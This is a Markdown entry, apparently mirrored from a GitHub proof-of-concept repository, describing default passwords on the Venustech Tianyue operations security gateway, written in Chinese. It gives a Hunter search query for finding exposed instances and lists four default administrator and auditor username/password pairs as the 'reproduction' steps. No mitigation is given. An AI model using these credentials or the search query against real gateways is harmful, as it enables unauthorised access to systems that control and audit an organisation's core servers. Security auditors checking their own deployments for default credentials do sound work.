mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 03:46:17 +00:00
28 lines
972 B
Markdown
28 lines
972 B
Markdown
|
|
# 启明星辰天玥运维安全网关默认口令
|
||
|
|
|
||
|
|
# 一、漏洞简介
|
||
|
|
天玥网络安全审计系统是针对业务环境下用户对网络内的核心IT资产和服务器进行的操作行为进行细粒度审计的合规性管理系统。 启明星辰天玥运维安全网关存在多个默认口令
|
||
|
|
|
||
|
|
# 二、影响版本
|
||
|
|
+ 天玥运维安全网关
|
||
|
|
|
||
|
|
# 三、资产测绘
|
||
|
|
+ hunter`app.name="启明星辰天玥运维安全网关"`
|
||
|
|
+ 特征
|
||
|
|
|
||
|
|

|
||
|
|
|
||
|
|
# 四、漏洞复现
|
||
|
|
```plain
|
||
|
|
sysuseradmin/sua_password$123
|
||
|
|
sysauditor/sa_password$123
|
||
|
|
sysadmin/password$123
|
||
|
|
sysadmin1/sysadmin111111
|
||
|
|
```
|
||
|
|
|
||
|
|

|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
> 更新: 2024-02-29 23:57:14
|
||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/kx93eeqothpuo5ek>
|